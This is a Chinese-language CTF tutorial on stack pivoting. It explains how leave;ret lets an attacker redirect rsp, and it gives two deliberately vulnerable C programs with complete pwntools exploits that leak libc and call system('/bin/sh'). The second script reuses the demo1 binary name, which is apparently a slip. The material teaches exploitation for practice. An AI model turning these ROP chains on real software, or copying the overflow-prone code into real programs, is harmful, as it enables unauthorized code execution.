關于棧遷移的那些事兒
一、前言
現(xiàn)在的CTF比賽中很難在大型比賽中看到棧溢出類型的賽題,而即使遇到了也是多種利用方式組合出現(xiàn),尤其以棧遷移配合其他利用方式來達到組合拳的效果,本篇文章意旨通過原理+例題的形式帶領讀者一步步理解棧遷移的原理以及在ctf中的應用。
二、前置知識
在筆者看來棧遷移的原理其實可以總結為一句話:因為棧溢出字節(jié)過少所以劫持rsp寄存器指向攻擊者提前布置好payload的內存地址,已達到擴充溢出字節(jié)數(shù)的目的。 以一個簡單的demo1為例,程序源碼以及編譯指令如下所示:
#include <stdio.h>
char buf1[0x100];
void main() {
char buf2[0x40];
puts("First: ");
read(0, buf1, 0x100);
puts("Second: ");
read(0, buf2, 0x60);
}
// gcc -fno-stack-protector -no-pie -z lazy -o demo1 demo1.c
程序的流程非常簡單存在兩個輸出,第一次是往全局變量buf1第二次是往局部變量buf2中寫入??梢钥吹皆诘诙螌懭霑r存在明顯的棧溢出漏洞,但是溢出的字節(jié)數(shù)只夠寫入0x18大小的字節(jié),如果要構造gadget泄露內存地址,最短的ROP鏈也需要0x20的字節(jié)才可以在泄露內存后返回輸入點繼續(xù)執(zhí)行程序。
在這種情況就可以使用棧遷移的方式來擴大溢出字節(jié)數(shù)的大小,在前面說過棧遷移的本質就是劫持rsp寄存器指向攻擊者提前布置好payload的內存地址,而劫持rsp寄存器的指令有很多,最常用的就是函數(shù)的退棧返回指令leave; ret。 可以分成兩部分來理解這條指令。首先執(zhí)行的是leave指令,這條指令共執(zhí)行了兩個操作mov rsp, rbp和pop rbp,其中rsp寄存器的指向變化如下圖所示,可以看到在執(zhí)行完leave指令后rsp寄存器指向了返回地址;隨后會執(zhí)行ret指令,這條指令可以理解成pop rip。因為此時rsp寄存器指向rbp+8即函數(shù)的返回地址,所以pop給rip寄存器的就是函數(shù)的返回地址,退棧完成。
在了解這條指令后不難發(fā)現(xiàn),如果利用溢出漏洞可以覆蓋rbp的值為一個已知地址,那么在執(zhí)行過兩次leave; ret指令后,就可以劫持rsp寄存器到任意地址,此時rsp寄存器指向的地址即為新的棧地址,只要事先在新地址處布置好想要執(zhí)行的rop gadget,那么溢出字節(jié)過少這個問題就迎刃而解了。
根據(jù)上面介紹的棧遷移原理,可以總結出使用棧遷移的一些必要條件
- 存在可以劫持程序流和控制rbp寄存器的漏洞
- 攻擊者可以確定準確某一塊具有讀寫權限的地址
- 在進行棧遷移前需要在這塊地址上進行rop gadget?布局
三、例題講解
3.1 例題demo1
在理解了棧遷移的原理后可以通過這個demo來練練手了,進行編譯時未開啟Canary和PIE保護,NX保護開啟防止寫入shellcode
這里先將大體的利用思路總結出來,其中的實現(xiàn)細節(jié)實現(xiàn)會在下文中進行說明。
- 未開啟PIE?保護,可以確定第一次寫入的地址記作addr1?,在此地址處布置rop gadget?來實現(xiàn)泄露LIBC地址并返回主函數(shù)
- 利用第二次寫入存在的棧溢出漏洞覆蓋rbp為addr1,rip?為指令leave; ret的地址實現(xiàn)棧遷移
- 返回主函數(shù)后利用ret2libc?執(zhí)行system("/bin/sh")獲取shell
3.1.1 棧遷移布局
首先我們利用第一次輸入進行rop chain布局,并利用第二次棧溢出漏洞覆蓋rbp為偽棧地址劫持rip為leave; ret指令地址,內存變化如下圖所示。 細心的同學會發(fā)現(xiàn),我們在第一次進行rop chain布局前有一小段padding填充在前面,這是因為在我們進行棧遷移后,程序指令中所有對于棧的操作都會在偽棧內進行,而偽棧地址與got表地址相鄰,填入這小段padding的目的就是為了避免程序在對偽棧進行讀寫數(shù)據(jù)時造成內存數(shù)據(jù)段內關鍵信息被覆蓋,從而造成crash現(xiàn)象。
在匯編中當我們要對局部變量進行操作時,一般都是用rbp棧底寄存器來定位,如下圖所示。這一點在棧遷移中可以讓我們構造出一個類似于鏈表的利用結構,每次布置rop chain時不斷將rbp寄存器賦值為偽棧地址,然后跳轉到主函數(shù)的寫入函數(shù)處,因為局部變量尋址是通過rbp寄存器,所以我們可以不斷進行rop chain的布局。 在第一次進行rop chain的布局中控制rbp寄存器指向新的偽棧地址,那么在返回主函數(shù)后執(zhí)行read函數(shù)時,寫入地址就是新的偽棧地址,這時只要利用棧溢出漏洞去構造ret2libc即可getshell。
3.1.2 EXP
from pwn import *
p = process('./demo1')
libc = ELF('./demo1').libc
fake_stack = 0x601060
leave_ret = 0x40058E
puts_plt = 0x400430
puts_got = 0x601018
pop_rdi = 0x4005f3
read_text = 0x400572
payload1 = "a"*0x78+p64(fake_stack+0x408)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)
p.sendafter('First:', payload1)
payload2 = 'a'*0x40+p64(fake_stack+0x78)+p64(leave_ret)
p.sendafter('Second:', payload2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))
payload3 = "a"*0x48+p64(pop_rdi)+p64(sh)+p64(system)
p.send(payload3)
p.interactive()
3.2 例題demo2
在CTF比賽中通常只有一次寫入機會,這邊給出demo2的源碼以及編譯命令。
# include <stdio.h>
# include <string.h>
void main() {
char buf[0x28];
puts("Hello Hacker.");
read(0, buf, 0x40);
}
// gcc -fno-stack-protector -no-pie -z lazy -o demo2 demo2.c
與demo1一樣demo2未開啟Canary與PIE保護,不同的是demo2中只有一次輸入機會,并且溢出字節(jié)數(shù)只能覆蓋返回地址。 結合之前講解的棧遷移技巧,首先在劫持rsp前需要進行rop chain布局,程序并沒有一次可以往偽棧布局的機會,但是可以利用劫持程序流的方式來構造這一條件。 觀察程序的匯編代碼如下圖所示,在對局部變量buf進行尋址時使用了rbp寄存器,那么我們可以利用這一點配合棧溢出漏洞來實現(xiàn)偽棧上的rop布局。利用思路如下所示,其中的實現(xiàn)細節(jié)實現(xiàn)會在下文中進行說明。
- 利用棧溢出漏洞劫持rbp?寄存器為偽棧地址,返回地址為0x40054b?(圖中主程序的輸入函數(shù)),即可在返回主程序后對偽棧進行rop chain的布局
- 對偽棧進行rop chain的布局,泄露LIBC地址并返回主函數(shù)
- 返回主函數(shù)后利用棧溢出漏洞配合棧遷移+ret2libc完成getshell
3.2.1 偽棧rop布局
第一次leave; ret是主函數(shù)退棧時執(zhí)行的,利用棧溢出漏洞覆蓋rbp為偽棧地址,rsp為主函數(shù)地址。當我們再次來到主函數(shù)的輸入函數(shù)時即可在偽棧上布置rop chain。此時的內存變化如下圖所示
第二次leave; ret指令依然來自主函數(shù)退棧時執(zhí)行,在偽棧上布置好rop chain后程序執(zhí)行退棧操作,此時rbp寄存器內保存fack_stack-0x30的地址即rop chain地址+0x8的位置處,rsp寄存器被劫持到偽棧上,此時的內存變化如下圖所示
這里為什么是fake_stack-0x30的地址呢?因為在對局部變量buf進行尋址時使用到rbp寄存器,而本題中的buf地址來自[rbp-0x30]的地址,所以如果想要將rsp劫持到rop chain的位置,就需要對rbp寄存器賦值為fakc_stack-0x30,那么在執(zhí)行第三次leave的時候,rsp寄存器就劫持到rop chain的地址處,此時的內存變化如下圖所示
泄露完LIBC地址后,劫持程序流返回主函數(shù),利用read函數(shù)對偽棧進行最后一次rop布局,需要注意此時的寫入地址是fake_stack-0x30,所以在棧遷移時rbp寄存器的值為fake_stack-0x30-0x30-0x8的地址處,再執(zhí)行一次leave; ret時即可將rsp寄存器劫持到ret2libc rop地址處。內存變化如下圖所示
3.2.2 EXP
from pwn import *
context.log_level = 'debug'
p = process('./demo1')
libc = ELF('./demo1').libc
read_text = 0x40054B
fake_rbp = 0x601500
pop_rdi = 0x4005d3 # pop rdi; ret;
puts_plt = 0x400430
puts_got = 0x601018
leave_ret = 0x400567
# gdb.attach(p, 'b *0x400567')
payload1 = 'a'*0x30+p64(fake_rbp)+p64(read_text)
p.sendafter("Hello Hacker.", payload1)
payload2 = p64(fake_rbp-0x30)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)+p64(0)+p64(fake_rbp-0x30)+p64(leave_ret)
p.send(payload2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))
payload3 = p64(pop_rdi)+p64(sh)+p64(system)+p64(0)*3+p64(fake_rbp-0x68)+p64(leave_ret)
p.send(payload3)
p.interactive()